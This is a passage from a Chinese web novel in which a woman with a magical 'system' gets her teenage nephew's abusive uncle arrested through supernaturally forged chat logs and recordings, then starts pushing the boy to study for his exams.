明明奶奶化为一块猪肝，吊在众人眼里，表情难看极了。 池又青嗤笑一声：“看来偷家贼另有其人。” 围观人群里有人想到什么：“这小孩我见过啊，常在我家小超市小偷小摸，我爸说他年纪小，就当送孩子糖了。哪晓得，这还偷到家里去了？” 明明奶奶脸色无光，一把揪起孙子，往他屁股上啪啪打两巴掌，羞恼着说：“死小子，回去再跟你算账！” 她灰溜溜地想要跑掉，被池又青一口喊住：“去哪啊大婶？” 池又青下巴往陆季燃的方向一指：“这就跑了？道歉呢？” 明明奶奶倔着：“我又没说错！这小子本来就是个混混！他舅舅的东西！本来就是他偷的！” 说是这样说，可她现在已经全然没有刚刚对着陆季燃颐指气使的架势，表情里还有带着些许怂意。 池又青哦了一声：“那你别走，留下来看看，这钱到底是怎么回事。” 把苍蝇打了个半死，她又转头瞧着面前这坨名叫董旭的大便。 “你说陆季燃偷了你的钱？”她问。 董旭狠狠点头：“对，对！” 池又青：“那好办，等会警察来了，你让他们去你家搜搜，看看有没有什么线索。要是真搜出一二，我保证，从今往后，陆季燃的事我绝不再管。” 陆季燃听到这，心中一紧，脑袋下垂。 又听她说：“要是什么都没搜出来……” “董旭。”池又青一字一顿，“刚刚你怎么打他，我就要他怎么打回去。” 陆季燃讶异，抬头看向女人。 董旭不以为然：“行啊，报警就报警！正好也让警察过来主持主持公道！” 他掏出手机，手机屏幕已在刚刚他摔倒的时候碎得关机。董旭暗骂一声，拼命戳开机键，手机就像死了一样，沉寂无反应。 人群里，有人忽然喊了一声：“警察来了！警察来了！” 来得怎么这么快？！ 董旭看向池又青：“你报的警？” 池又青笑：“毕竟得主持公道。” 董旭被她这笑容搞得头皮发麻，心里涌出一股不好的预感，却又不知道这预感从何而来。 直到警察进他家，还没搜两下，就在屋子里找到一个黑包。 包里，是整整齐齐垒成钞票砖的二十万。 董旭不敢置信：“……？！？” 他扑过去，接住袋子，抱在怀里，反反复复看：“就是这个！就是这个！我弄丢的就是这个！” 失而复得的喜悦冲上来又淡去后，董旭又思考起来。 怎么回事？是他之前回家没看见吗？ 在家里的话，那不就证明他冤枉陆季燃了吗！ 董旭抱紧袋子，忙对赶来的警员说：“警察同志，警察同志，东西找着咯，找着咯！误会，都是误会！让你们白跑一趟，实在不好意思！” 池又青冷笑一声：“说什么呢？哪里白跑？” “警察同志，打电话报警的人是我。” 池又青字字清晰，掷地有声。 “他无缘无故殴打未成年人。这少年的情况你们也看见，就算不走伤情鉴定流程，光看也起码也是个轻微伤。我不接受任何调解，请警方即刻立案，将他逮捕，对其进行治安处罚！” 瞧池又青条理清晰又头头是道的架势，警察何玉就知道，这姑娘是有备而来。 她的身旁，靠墙站着的少年，脸上都是乌青，看一眼就叫人觉得触目惊心，衣服也到处都是拳脚痕迹。不用深思也知道，下手之人究竟有多狠心。 她按照惯例询问男人：“人是你揍的？” 董旭当然摇头啊！ 他忙一脸老实地说：“警察同志，话可不能这么说啊！一家人的事，怎么能说揍呢！” 他这套说辞已经讲过很多次，现在更是信手拈来。 陆季燃刚刚被他揍的时候，不是没报过警，但好多次，都被来的人糊弄过去。陆季燃风评不好，只要董旭说管孩子，那便不再多问，等人一走，迎接陆季燃的是比报警前还要过分的暴力。 董旭满不在乎地想，这次也一样。 “我是打了他几下，但完全也事出有因！”董旭辩解着，“这……都是为了教育孩子嘛……！我是个大老粗，平时都在工地守工程，相处的人也都是大老爷们！这下手一时没个轻重……美女，你理解下噻！” 何玉警帽上的银辉威严无比，她厉声喊：“好好说话！你叫谁美女呢！” 董旭见平日油嘴滑舌一套不顶用，连忙跪滑，面红脖子粗道：“警官，警官，是我说错话。但这件事，说到底，也只是我的家事啊！” 他瞪了眼多管闲事的池又青。要不是这人突然蹿出来，现在哪有这么多事？董旭心里恨极她。 好好一个寡妇，闲的没事干就去搓牌，跑来掺和他的事做什么？无不无聊！ 董旭气恼：“这陆季燃是我侄子，跟这女的根本没什么关系！哪有一个外人报警来管别人家事的道理？！” 何玉冷声：“只要你有违法行为，不管是家事私事，所有公民都有权利报警！” 池又青哼笑一声：“对啊。” “再说了，董旭，谁说我和陆季燃就没关系？我是他小姨。陆季燃是我侄子，不是你的。” “你只是他后妈的哥哥，跟他才没什么关系。” 董旭差点以为自己耳朵听错：“你、你说什么？” 池老板是陆季燃的小姨？！ 这不可能！ 陆季燃的妈早就死了，他妹妹说过，季家的亲戚也根本不管事。 什么时候又跑出来一个姓池的小姨？！ 池又青懒得跟他掰扯，对何玉说：“警察同志，我刚刚说的话绝对属实，董旭殴打他人也是事实。刚刚院子里那么多人，你只要去问问，全都是人证。刚刚那地方也正对自行车停车处的摄像头，去物业处调监控，什么都能看到。” 董旭见何玉点头要去查，心慌无比，忙说：“警官！警官！是，我是动了两下手，但不过是教育自家孩子的事，也不至于要调查来调查去这么严重吧？” 何玉：“要不要调查，严不严重，我们自有判断。” 何玉下楼一问，刚刚看热闹的人忙七嘴八舌地说。 “打了打了，是打了！我跳完广场舞回来，就见那男的就在这打人！” “揍得可凶了！哪有人这样教育孩子的啊？把人往死里打，这叫教育？” 二楼的沈阿婆也被问到，她还没说话，怀里的小孙女就泪眼汪汪地说：“警察阿姨，楼上的叔叔坏，经常揍小哥哥。” 董旭听到这话，眼刀一下横过去。 小孙女吓得往老人怀里一哆嗦。 池又青见不惯他这破样，伸手在无人注意时，又从兜里摸出一颗火锅店前台小盘里放着的免费薄荷糖。 弹弹珠一样。 咻—— 糖果砸在董旭的右腿上，他痛吸一口气，身子一弓，立刻单膝跪在地上。 ？！？ 什么情况！！ 今天第二次了！！！ 他又慌又怒地看向周围，第一个怀疑池又青，可池又青站在他两米开外，属于八竿子都打不着的距离。难不成，还能隔空踹他一脚？ 更何况，刚刚腿上传来的力道，可不单单踹一脚这么简单。 他感觉自己的小腿被车轮碾过！！ 不是这女人，还有谁？！ 董旭红着双眼寻找动手的人。 何玉在他旁边，问：“你这是做什么？” 忽然下跪？ 董旭找不出罪魁祸首，只能打碎牙往肚子里吞，强逼着自己站起来，腿在发抖：“没、没事。” 池又青瞧着他狼狈模样，又看着眼前系统安放的小小弹窗。 「24小时暴击体验卡使用中！当前暴击力度1000%！」 证据俱全，董旭却还狡辩。 “今天的事就算了，这完全是个误会，意外。可要说我之前经常对陆季燃动手，我可没有啊！不信你问他！” 董旭忙给陆季燃甩眼色。 那眼神在说：你小子，好好说话！ 池又青站在他身边，说：“别怕，你就讲实话，我跟你保证，他以后没可能碰你一下。” 陆季燃不是怕，他只是担心董旭事后给池又青找麻烦。 可既然池又青这样说…… 他看了下眼含鼓励的女人，又冷漠地看向董旭，说：“警察姐姐，阿婆他们没有说谎，这个人，的确经常对我动手。” 他扯开自己的衣服，瘦削的肩头新伤之下，是反反复复才能留下的旧痕：“他不高兴就会动手，有的时候用拳头，有的时候拿烟头。” 董旭瞪大眼：“陆季燃！你疯了！你小子想找死是不是！” 池又青毫不客气地甩开董旭挥来的一巴掌。 不过是轻轻一个动作，董旭的整个身子却像被人扔走一样，飞到一旁，撞在树上。 董旭吐血：“……？！” 众人：“……？！” 陆季燃：“……？！” 池又青单纯无辜地举起手：“警察同志，我什么都没做啊，我只是拦了他一下！他这完全是碰瓷！” 董旭疼得没力气说话，倒在地上，被警察一左一右地架起来，他双眼盯着池又青，心里跟见鬼一样。 就是她！ 刚刚两次三番隔空对他下手的人就是她！！ 这女人怎么做到的？！ 力气这么大？！ 何玉收集完证据，将早有在胸腹中的定论讲述：“董旭我们会带走，也要请你们二位跟我们去局里做个笔录。” 池又青点点头：“没问题。” 她看了眼陆季燃：“但我侄子伤得有点严重，我能先送他去医院吗？顺便做个伤情鉴定。” 何玉：“当然，我们会有同志送你们过去。” 董旭这个时候意识到，他今天这顿蹲，只怕是跑不掉了。 这可不行啊！ 要是一蹲十天半个月的！他就不能去野山赌场了！ 去不了，就没有下次了！ 野山赌场开完这段时间就要换地方！ 真要等那个时候，他人是出来了，赌场没了，他的发财梦可怎么办啊！ 他好不容易最近才有点赌运！！ 董旭忙咬牙道：“警察同志，警察同志！是我的错，是我教育方法有问题！是我动手太过！没轻没重！不知好歹！我该死！” 啪啪啪！ 他说一句话打自己一巴掌，把自己打得双脸红肿，又转头看着陆季燃和池又青：“池老板，陆季燃他小姨，您看，您刚刚说的，还算数吗？” 池又青还能猜不出他的心思？只是真没想到他能好赌到这个份上，双手环抱于胸前，好以整暇地看着他：“我说了什么？” 董旭忍着屈辱，讨好地说：“就，我怎么打陆季燃，就让他怎么打回来这事……你看，要不，这件事，我们私下了结？你们想怎么处理我，就怎么处理我！” 话是这么说，等他挨过这一劫，在野山赌场赚得盆满钵满，看他还不找这两人算账！！ 董 旭藏起凶恶心思，继续说：“真的！我随你们处置！” 池又青：“这我可做不了主。” 她转头问少年：“你怎么想？想还手吗？” 想还手吗？ 陆季燃看着眼前的男人。 他从前恨他，厌他，也怕过他。总觉得他很高大，拳头极硬，砸在身上就像石头。 可现在，董旭在他眼里，不过是一张虚张声势的纸老虎。 原来董旭也有这么怕的时候，满目恳求，甚至求他揍回去。 打他，陆季燃都觉得手脏，也浪费池又青今天的心力。 他摇摇头，对何玉说：“警察姐姐，请你们把他带走。” 董旭死性不改，拳头又攥起来：“臭小子你别给脸不要脸！！” 池又青对他的疯样熟视无睹，淡然地补充道：“对了，警察同志，他怀里的钱是之前敲诈我所得，我有证据，麻烦你们也一并把这件事调查。” 董旭当即紧紧抱着怀里的钱：“妈的！你胡说！这分明就是你自己转给我的！” 池又青不当回事，拿出手机，在她和董旭的聊天记录里，正是各种敲诈意味十足的字眼。 董旭懵了。 他根本没说过这些话！ 他大喊：“我没敲诈！这记录是伪造的！钱她自己主动给我的！我们还签了合同！” 池又青直接把合同从包里抽出来：“对，还有合同。这个合同是他出的主意，为防止事后追责让我签的，但是我请律师看过，合同根本没有效力，我也没有开什么MCN公司。警察同事，这件事，我的律师稍后会去警局跟你讲述具体情况。” 董旭目眦欲裂：“警察同志！她撒谎！她撒谎——！！这是我的钱！我的！！” 何玉无视他疯狂的表情，把他死死抱在怀里不撒手的黑包扯出来，交给一旁的同事。 何玉对池又青说：“好的，你放心，这件事我们会调查清楚。涉案金额先由我们保管，案情调查结束，如果你所言属实，这钱自然会归还给你。” 董旭现在什么都想明白了，他近乎发狂地道：“这是我的钱！不！你们不能相信她！她就是个骗子！！” 董旭立刻想到什么：“我有个牌友！他也知道这事！他可以为我作证！” 陆季燃听到这，担心地看向池又青。 池又青察觉他的情绪，拍拍他的肩膀作为安抚，对何玉说：“警察同志，我知道他说的这个人。” 池又青委屈极了：“他们是一丘之貉，都给我下套。这件事你大可调查，只要看看他俩的聊天记录，就什么都知道了。对了，我这也有录音，你们都可以拿出调查。” 她点开手机，播放了一段音频。 内容正是董旭和牌友在牌桌上给池又青下套的话语！ 董旭眼珠子都掉地上：“不可能！我没说过这种话！这录音是假的！” 警察可不管他嘴里怎么喊。 他们只认证据。 证据真假是需要再查，但眼下董旭嫌疑与罪状极多，必须带走！ 被两面夹击拖走的时候，白日跟董旭在楼道里吵架的阿婶朝他呔了口痰，阴阳怪气道：“是谁说马上有钱要买新房的？哎哟喂，这钱是没了，但房子马上要来了！301的，那牢房，你可要好好住啊！” 董旭气得张口就想骂回去，却被警员瞪眼收声。 坐上警车的时候，他忽然格外悔恨。 当时在茶楼，就不该主动找这池又青打牌！若是不打牌，就不会中她的计！ 他愤怒地大喊一声，却被警察直接堵住嘴。 随着警车开远，董旭不久前才构想的鱼跃龙门剧本，早已被撕得稀烂，并狂奔向另外一条，他从未设想过的绝望之路。 见董旭被拷走，看热闹的人都震惊，没想到今天这瓜还能如此反转再反转。 池又青瞄到一个想要偷偷溜走的身影，喊：“大婶，往哪去啊？” “现在水落石出，你的道歉呢？” 明明奶奶被池又青这样当众喊住，实在觉得丢人。她囫囵且敷衍地对着陆季燃说：“对不起。” 池又青掏掏耳朵：“声音太小，你属蚊子啊？” 明明奶奶脸上青一阵白一阵，在众目睽睽下，咬牙道：“对不起！” 道完歉，却还是死性不改地说：“谁叫这小子自己平日里不着四六，没个正形？我也不是故意冤枉他啊。这换谁都会这样啊。” “是吗？那你家孙子，小小年纪，不学好，净干脏事。”池又青把她说过的话原样奉还，“都说三岁看老，我看你家这种，日后必坐牢。” “以后这小区要是再有什么偷东西的案子，我推荐警方第一个来查他。不仅如此，我还要写个传单，提醒他幼儿园的所有同学老师，让他们注意一下这个潜在窃贼。” 明明奶奶顿时不敢胡乱吱声。 “不不不。”她哀求，“那个池小姐，求你，我们家明明还小，还是个孩子啊。他只是一时半会犯了错，以后会改的。” 池又青冷笑：“他是孩子，我家陆季燃就不是孩子了？大婶，刀子是不捅你身上你不知道疼是吧？” 明明奶奶欲哭无泪，真怕池又青干发传单这事，忙真心诚意地对陆季燃说：“小陆啊，对不起啊，你也帮忙劝劝你小姨，求求你。” 陆季燃神色冷淡。 大家围在一旁，瞧见这情况，想到刚刚说过的话，围观的心情，心里也有几分虚，没敢再待下去，纷纷散走。 池又青跟帮陆季燃说话作证的沈阿婆和小孙女道谢，在她的老人机里留下自己的联系方式，让她若有什么事需要帮忙，就找自己。 怕沈阿婆担心董旭会因为今天的事报复，池又青说：“阿婆，你放心，他不会再回来。往后，你们尽管好好生活。” 目送着阿婆和小孙女回家，池又青领着陆季燃，在警察的护送下去医院做检查，顺便出伤情鉴定报告。 急诊室的帘子一拉，女医生让陆季燃脱衣服。 陆季燃手搭在领口上，转头去看池又青。 池又青乐了：“害羞什么？人医生一天到晚看多少人，还缺你这点？” 陆季燃的眉眼里有不易察觉的局促：“你先出去。” 池又青：“……？” 毛都不知道长齐没的小小老子一个，还在她面前清纯上了？ 她无言，她尊重，她理解。 转身离开，只留下一句：“有事叫我。” 白色隔断帘拉起又合上。 陆季燃这才脱掉上衣，胸口后背只露了一半，医生就惊得倒吸口气：“小孩，你这——” 怖人的伤口与疤痕，在他瘦削到营养不良的身体上盘根错节地排满。 明明他还只是一颗主干细弱的小树苗，树的表面上，就已经布满伐木者一刀一刀留下的痕迹。若是这些痕迹再多一些，只怕这小树苗就会就此折掉。 小树苗低下头：“医生，请不要把这些告诉我小姨。” 医生说好，拿起相机给他拍照，记录完毕又忙上药。 陆季燃任她摆布，期间低着头，看自己身上的痕迹。 曾几何时，他是靠着数伤疤过日子。 多一道疤就是又过一天。 很好计算。 疤痕在他身上愈合又出现，反反复复。 他试图中止这过程，报过警，也试图跟陆屹讲过。但都没用。 他们都说，是他自己活该。 不听话的小孩，揍两下怎么了？反正都是男孩，又没那么娇气。 于是渐渐地，连他自己都已经习惯。 直到今天，看着自己浑身上下都擦好药，纱布敷料小块小块四处贴满。 就像一棵孤零零的小树，从荒芜的沙漠被移栽到明亮的地方，被人刷上土白剂，围上小毛衣。 陆季燃忽然意识到，在他计算等待着的明日里，也可以不必有新的疤痕。 帘外。 052向池又青反复确认：【宿主，你确定按原计划进行，要用成就点兑换把野山赌场的所有情报，将其交给今天的那位警官何玉小姐？】 池又青：【对呀，你都问几遍了，废什么话？】 052：【野山赌场是个大事件，关于这件事的情报，价格并不便 宜。你之前不是说坚决不动这成就点分毫吗？】 池又青阴阳：【我这不是为了给某系统擦屁股呢。再说，不是说好给我打折吗？】 052知道今天这摊祸事是自己惹出来的。 要不是它抠门导致这一切，陆季燃不会多挨这顿打，董旭也会按照池又青的原计划，在警察扫荡野山赌场的时候被抓。 二十万的巨额赌资，够他吃几年牢饭。 比家暴判刑力度强多了。 她可不想便宜董旭，被拘留几天就完事。她要让他死在自己的贪欲上。 哪曾想，事情演变成现在这样？ 它自知理亏，在池又青今天利用它做事的时候，都给她打了一折骨折。 把钱放回原处，修改聊天记录，凭空伪造录音…… 这一番操作下来，池又青只花了一百五十点。 可野山赌场毕竟不是个小事。 052给池又青报价。 池又青不敢相信：【……打完折还要花我700成就点？】 052苦巴巴：【所以我再三问你，是不是真的要换。宿主，既然董旭现在已经被抓，那是不是用不着再按原计划进行了啊？】 池又青觉得它笨：【呆瓜，你以为真要关，能关董旭几年？等他那知三当三的妹妹和陆季燃他爹反应过来，再想办法捞他，又该怎么办？】 【我那个时候铁定不在陆季燃身边，也不知道陆季燃是不是已经按照原著当上顶流。若是这样的话，董旭出狱，对他来说就是劫难。】 【更别提经过今天这事以后，董旭心里能有多恨我和陆季燃。】 她眼神一深：【既然要帮人处理问题，当然就得处理干净。】 池又青玩着手里的娃娃，火锅店送的那个，问：【确定700点？这么贵，能不能免费附赠一个小帮忙。】 052：【你先说是什么忙，我再判断一下能不能忙。】 像刚刚在火锅店那种，系统自付和免费，都属于违规行为！ 这要是被上级察觉，它可是要被记上一笔的！情节严重还会出大问题呢！ 池又青把绿油油的菜头娃娃脑袋捏住：【真是小事。】 【你就不经意地让野山赌场幕后的人知道，在他们赌场出事之前，警察正好抓走了一个赌场里前几天大赢特赢的常客，也正好有人看见，这个常客，在抓捕当天，跟警察待在一块。】 052：【…………】 它细思极恐啊！ 052的脑子里已经闪过无数个涉黑剧集里有的不少剧情。 052：【宿主，你这是要——？】 池又青忙说：【别污蔑啊，我什么都没干呢，我只是一个热心市民，助力公安扫赌除黑！】 052：【……】 热心，你热心个鬼啊！一肚子坏心还差不多！ 评估该行为的难易程度后，052说：【ok，这个可以免费。】 052想不通：【但你为什么要把情报特地交给何玉？】 池又青哼了一声：【我看她顺眼，不行？更何况，我花钱买的功劳，我爱给谁给谁！】 池又青付完款，清算着自己剩下的成就点。 余额：3150点。 哎。 她完成一个任务才赚1000点呢，今天这一遭，就快把点数霍霍没。 要不她说养小孩花钱呢？跟个抠门系统一块养小孩，更是花钱：） 看起来像是帮她省了二十万，殊不知，别说二十万了，就算是两百万两千万，能花钱买成就点，她也乐意啊！ 也不知道五级以后系统能不能开氪金功能…… 她忧郁地盘算着。 陆季燃正巧这个时候捞开帘子走出来，看见她皱着脸苦恼的模样，以为她还在为今天的事烦心。 “池又青。”陆季燃走近，唤她的名字。 池又青抬头：“啊？” 陆季燃低声说：“董旭的事，不会有问题的。如果警察问到我，我也和你统一口径，就说那二十万，的确是他敲诈的。” 他非常严肃认真地做出保证：“我绝对是和你站在一边的。” 池又青：“……” 她抬手敲了下少年低头凑过来的脑袋，枯草一样的头发，手感真差！ 池又青：“谁要你操心这个了！” 陆季燃闪躲着她还想继续揉上来的手，眉头微皱，又想到什么，别扭地说：“……还有，对不起。” “又道什么歉？”池又青回。 陆季燃盯着地板上的缝隙：“今天的事我……” “stop。”池又青捂着耳朵一副我不听我不听的模样，瞪着陆季燃，说，“不准你说这样的话。” “不过有件事我是要骂你的，陆季燃，你蠢吗？董旭给你打电话你就过去，你是奔着被揍去的是吗？接电话的时候我就在你面前，你嘴巴长着干嘛用的？不知道跟我说一声？” 听着她有点火气的一通说，陆季燃没不高兴，反而心里涌起一股暖意，他小声地说：“我只是不想给你惹麻烦。” 池又青已经帮他太多，他不想再把她牵扯进这些乱七八糟的事情里。 而且。 陆季燃承认。 他那一瞬间的反应，是害怕说出来，池又青也不相信他。 一只手搭上他的肩膀，女人的声音清晰而有力：“什么都不告诉我，才是麻烦，懂吗？以后遇到事记得跟我说。” “我知道了。”陆季燃答，又瞄池又青一眼，问，“那你呢？你是不是也有心事。” 池又青想说，是啊，她有心事。 她的心事就是那不上不下的该死的信任度。 见她眉间的乌云没散，陆季燃飞快地瞄她一眼，低着头，别扭着说：“今天，虽然不知道你为什么忽然赶过来，但还是……谢谢你。” 他做出这承诺的时候表情非常认真：“如果你以后有什么需要帮忙的事，尽管跟我说。” 池又青看他这傲娇小样，心里一乐。 就你这臭小子，能帮上什么忙？不给她找事就不错了。 “行啦行啦，今天这事就算过去。我跟你说的话要记住，别把脑子和嘴巴都当摆设。”这是什么古早文男主buff吗？嘴硬标配，不懂求助，今天还跟她整上单刀赴会了。 池又青无言地看着他。 陆季燃：“……” 损也损完，教育也教育完毕，池又青想到什么，把一直玩在手里的小玩偶拿出来，塞到陆季燃掌心。 池又青：“今天火锅店满单送的，给你啦。” 小玩偶毛绒绒的，是一颗绿油油的菜头娃娃。下面是白的方方脑袋，上面是朝天长的绿色头发。看起来特别呆萌，两只大大的Q版言情瞧着很有活力。 陆季燃抓着娃娃，只感觉心里和掌心一样，也变得柔软起来。 他低头，捏着菜头小娃娃竖起来的头发，眼神中有着犹豫，像是做了极大的心理建设，最终还是问出了一句话：“池又青，你为什么会相信我？” 池又青一时没反应过来：“什么？” 陆季燃把菜头娃娃的头发紧紧捏扁，低声说：“不管是上次还是今天，你为什么会相信我？” 这几年，陆季燃已经习惯一旦出事就被人误会。 他一开始还会解释，后来发现解释没用，人总是喜欢用自己的第一印象做出判断。对他来说，解释就似乎像在掩饰，掩饰就是在编故事。 久而久之，他干脆把自己鼻子下面的长得那张嘴当成摆设。 随便吧。 哪曾想—— 池又青看着他垂落的脑袋，杂草蔫嗒嗒。 她说：“陆季燃，除了你自己，没有人可以定义你。” 这孩子的头发揉起来手感是真不好，像那种流浪多年捡垃圾吃的小狗的毛发，刺剌剌的，也不知道得养多久才能养回来。 池又青体会着微妙的触觉，继续说：“我相信你，是因为你是你。” 就算抛开所有预知条件，池又青也会站在陆季燃身边。因为她就是这样一个人，最见不得什么事情一边倒，在证据真相不够明晰之前，她总是希望能够听见更多的声音。 “陆季燃。”这句话池又青很早之前就想跟他讲了，“是你做的，咱们认。不是你做的，不要默许他们把罪名安放在你身上。你的尊严也很珍贵，你要 维护你自己。就算没有人相信，你也要维护你自己。” “闹大也没关系，一定要替自己声辩，否则，就算很久以后雪耻翻案，也没有人会再相信。” 原著里，陆季燃身上的黑点，几乎全都是他少年时代留下的隐患。 池又青瞧着他，侧脸刚被包扎过，再也不像初见那样，浑身驴气，在他面前，浑身上下都是去不掉的抗拒。 此刻，卸掉那些笨重的防备，陆季燃看起来轻盈自在许多，细碎而长的不规则刘海下，浓调的眉眼里都是柔和情绪，少年感十足。 他很低声地说：“嗯，我知道了。” 池又青心想，哎呀呀，看来她也算是驯驴高手一枚！ 哪知念头刚起，系统就跳出弹窗。 一是通知她信任度已经突破30%，还奖励她500成就点。 二是提醒她新任务已开启。 「改造目标一：陆季燃的十一月期中考成绩前进188名」 池又青就算以前没好好学习过，也懂这任务的难度！ 一个月前进188名！做梦啊！ 以为这是瓷国速度造火箭吗！ 她怼：【你们系统以为这是相亲发身高要精确到这个地步？还是以为年末集五福凑红包188发发就是卡呢？有毛病！】 052犹豫：【那要不我写个提议？以后提高名字都按整数来，比如这次，先提高200名？】 池又青：【……那还是188吧！】 她转头看向陆季燃，深沉地问：“小燃子，姨问你个事，你一定要诚实地回答姨。” 陆季燃下意识挺直背：“你说。” 池又青：“你十月月考考了多少名？” 陆季燃：“……九百多名吧。” 池又青：“全年级多少人？” 陆季燃：“也就一千来个吧。” 池又青双眼如炬：“说实话，你到底多少名？” 陆季燃特别小声地挤出一句：“倒数第一。” 从没在意过成绩陆季燃头一回感觉自己刚刚说出口的这几个字并不好听。他才意识到，原来他自己也觉得这事并不光彩，不是那么帅的名头。 他不敢去看池又青的脸色，怕她生气。 哪知道，耳旁传来一阵高兴的笑声。 陆季燃：“……？” 池又青反复确认：“是倒数第一，你没记错吧？是我想的那个倒数第一？全年级倒数第一哦！一千出头里的那个头哦！” 陆季燃：“…………” 这语气听起来有点像嘲讽，但女人真实高兴且兴奋的表情又不像作假。 陆季燃咬牙解释：“这次是意外，我之前都是倒数前十。” 池又青连连摇头：“不不不，这不是意外，这是命运的安排！” “倒数第一好啊。”池又青悬着心又微微放下来，“特别好，真的，我就爱倒数第一啊！” 这进步空间多大！ 陆季燃：“……？！？！” 池又青：“你刚刚说，有事就找你帮忙，这话还算数吗？” 陆季燃点头：“当然。” 池又青：“那有件事，我的确很需要你的帮忙！非常，特别，有且仅有你能帮忙的那种！” 陆季燃眉头紧锁：“什么忙？” 池又青：“你先答应我！” 陆季燃：“我尽量。” 池又青：“好，那这就是答应了。” 陆季燃还没解释尽量和答应的区别，就见眼前的人嘿嘿一笑，露出绝对会让人倒霉的表情。 他后背一凉，忽觉毛骨悚然，大事不妙。 第18章 第18章出事了！陆哥居然看书了！…… 次日清晨，陆季燃是被震醒的。 起初他以为是打雷，看了眼窗外，没下雨闪电。紧接着误会是地震，全因声音响的时候，屋子似乎在晃。最后才发现，咚咚咚的声音是从床下传来，晃动纯属他的错觉。 上下两套房格局一样，他的卧室下面，正好对着池又青的卧室。 这女人，又在搞什么鬼？昨天从警察局做完笔录回来不还是好好的吗？ 他睡太久了所以在刻意提醒他？可外面的昏暗光色看起来不像白天。 陆季燃忍着火气，拿出手机看时间。 不多不少，正好六点十分。 陆季燃：“…………” 他丢开手机身子一倒往床上躺，拉起被子盖住自己。 咚咚咚！ 陆季燃唰地一下弹起身。 池又青到底要干嘛！！ 他拿起手机准备下楼算账，手机就弹出一条消息，是明明已经添加好友许多天，但从没聊过天的家伙。 youqing：醒了？起来洗漱收拾，下楼，送你去学校。 陆季燃不敢相信自己的眼睛。 他一字一字地敲。 R：学校就在对面。 他这么早出门做什么？ youqing：六点半前到学校，操场跑二十分钟醒醒脑子，再休息吃早餐。七点十分早读，背单词，背课文，背历史。你可以自己选一个。 陆季燃看完这行字，平静地放下手机。 “做噩梦了。”他有理有据地对自己说。 肯定是他没睡醒，再继续睡一会。 手机一震，消息弹来。 youqing：不是做梦^^ youqing：现在，起床，不然我上楼来掀你被子。 又是咚咚咚三声。 陆季燃认命地抓了把头发，把脑袋往枕头上砸三下，绝望地站起身，满脸困倦地立在镜子前洗漱。内搭衣服随便套了身，捞起放在外面的校服就打着哈欠下楼。 十一楼的门早已为他打开，他守在门口，往里望。 池又青梳着马尾，神清气爽，穿套休闲服，手里拎着个小饭盒走出来。 “喏。”她把饭盒往陆季燃手上一塞，“做了个三明治，家里没牛奶，你去学校买点。噢，还有，这包坚果你记得吃。” 陆季燃看着瞬间变得满满当当的双手，怔了下。 池又青伸手掐住他的下巴，把他的脸左右掰着观察，皱眉：“今天记得换药，不知道你们学校医务室能不能干这事。要是不行，下午放学我接你去医院。” 等她把话说完后，陆季燃脑袋往后一缩，后退一步，嘟囔一句：“知道了。” 池又青：“嗯。” 她瞄过陆季燃一看就空空如也的书包：“东西都带齐了？” 陆季燃：“没什么东西。” 池又青：“你书都放学校了？” 陆季燃：“有些是，不记得了。怎么？” 池又青：“从今天开始你要好好学习，奋发向上，争取在十一月考出惊人的成绩。所以，关于书到底放在哪这件事，你最好还是记得一下。” 池又青说的每个字都是人话，都是中文，可偏偏挨个连在一起后，陆季燃就听不懂了。 是他在做梦还是池又青在做梦？ 面对少年困惑的表情，池又青提醒：“还记得你昨天答应说帮我件事吗？” 陆季燃：“是说过。” 池又青微笑：“好好学习，天天向上，争做新时代的五好高中生。陆季燃，这就是我要你帮我的事。” 陆季燃：“…………” 陆季燃非常真诚：“你睡醒了吗？要不要睁眼开看看。” 他食指对着自己：“你刚刚说的那句话，除了高中生三个字我勉强附和以外，究竟哪个字和小爷我沾边？” 陆季燃不学无术地混了这么多年，这点自知之明还是有的。 池又青哎呀一声：“你要反悔？准备说话不算话啦？” 少年人最不禁这种激弄，更别是在自己有点在意的人面前。陆季燃立刻说：“我没有！！” 池又青：“那不就对了。” 陆季燃急得有点红脸：“可你之前没说是这种事！” 池又青老神在在：“我也没说不是这种事啊。” 她双眼觑过陆季燃的脸：“还是说，你做不到？” 十六岁的小伙子哪肯在年轻的小姨跟前丢面？牙一咬，争辩道：“没说做不到！” 等人都被池又青送出小区，站 在清早的秋风里，看着马路对面的校门，陆季燃一时发热的脑子忽然冷却下来。 不对啊。 他昨天也没答应池又青什么都做啊！他说的是尽量，尽量！ 可又能怎么办呢？再回去指不定被池又青逮住。还是去教室补觉。 陆季燃做了打算。 踏过校门那一瞬间，陆季燃被门口的安保大叔喊住：“前面的！那个同学！站住站住！” 陆季燃心一紧。 逃课多年积累的经验促使他本能地迈开腿就往前跑。 安保大叔：“……？” 大叔愣了下，也不服输，提着裤腰带就追上来。 陆季燃护着手里的饭盒，怕跑得太猛把里面的东西都弄乱，腰一闪，躲进空教室里。等观察到周围没人后，他才猫着腰跑回五楼教室。 哪知道安保大叔也是个有毅力的。 直接在五楼教室门口蹲点。 陆季燃看见他的那瞬间转头又要抬腿，大叔忙气喘吁吁地喊：“别跑了！别跑了！” 安保大叔喜悦道：“哎，果然是你，陆季燃！” 您这把百万通缉犯逮捕归案的高兴模样是为哪般？ 陆季燃沉着脸：“有事吗？” 安保大叔摆摆手：“没事没事，就是你刚刚进校门的时候，我和我同事讨论呢。我说陆季燃来学校了。他说不可能，这才又不是八九点。我说真是你，他不信，我就想跑过来再确认一下。” 安保大叔乐呵：“我就说我绝对没认错人！你逃课的时候，我都抓你好几回，怎么会认错？！” 陆季燃：“…………？” 看得出来，你们这份工作真的很闲。 以及，后面这句话可以不用再提。 目送走这位大叔，陆季燃大步走到位置上，拉开椅子，书包往桌上一甩，两手搭上去，埋头就是睡。 手机在兜里震动不断，一刻不停。陆季燃拧着眉想看看是谁没眼色一大早发这么多消息，屏幕亮起。 youqing：嘛呢嘛呢嘛呢！ youqing：让你早起去学校是让你睡觉的吗！ youqing：给我早读早读早读！！ 陆季燃这辈子第一次被人催命一样催着学习，心里的滋味有些莫名。他傻了眼，想当没看见，静音关闭震动，准备继续睡。 消息又弹出来。 youqing：不！准！睡！ youqing：你小子说话不算话是吧？ 陆季燃后背一凉，下意识回头寻望。 池又青是在他身上安摄像头了吗？！ 低头一瞧，消息不断。 youqing：呜呜呜，我命好苦啊！千里迢迢来江城，好不容你把你小子捞出来，呜呜呜，你说话不算话！ 陆季燃脑仁发疼，睡意全无。明明池又青发来的只是文字消息，他却感觉耳旁已经喳喳哇哇地吵闹起来。 他咬牙切齿地回。 R：知道了。 不就是早读吗！他还不信了！ 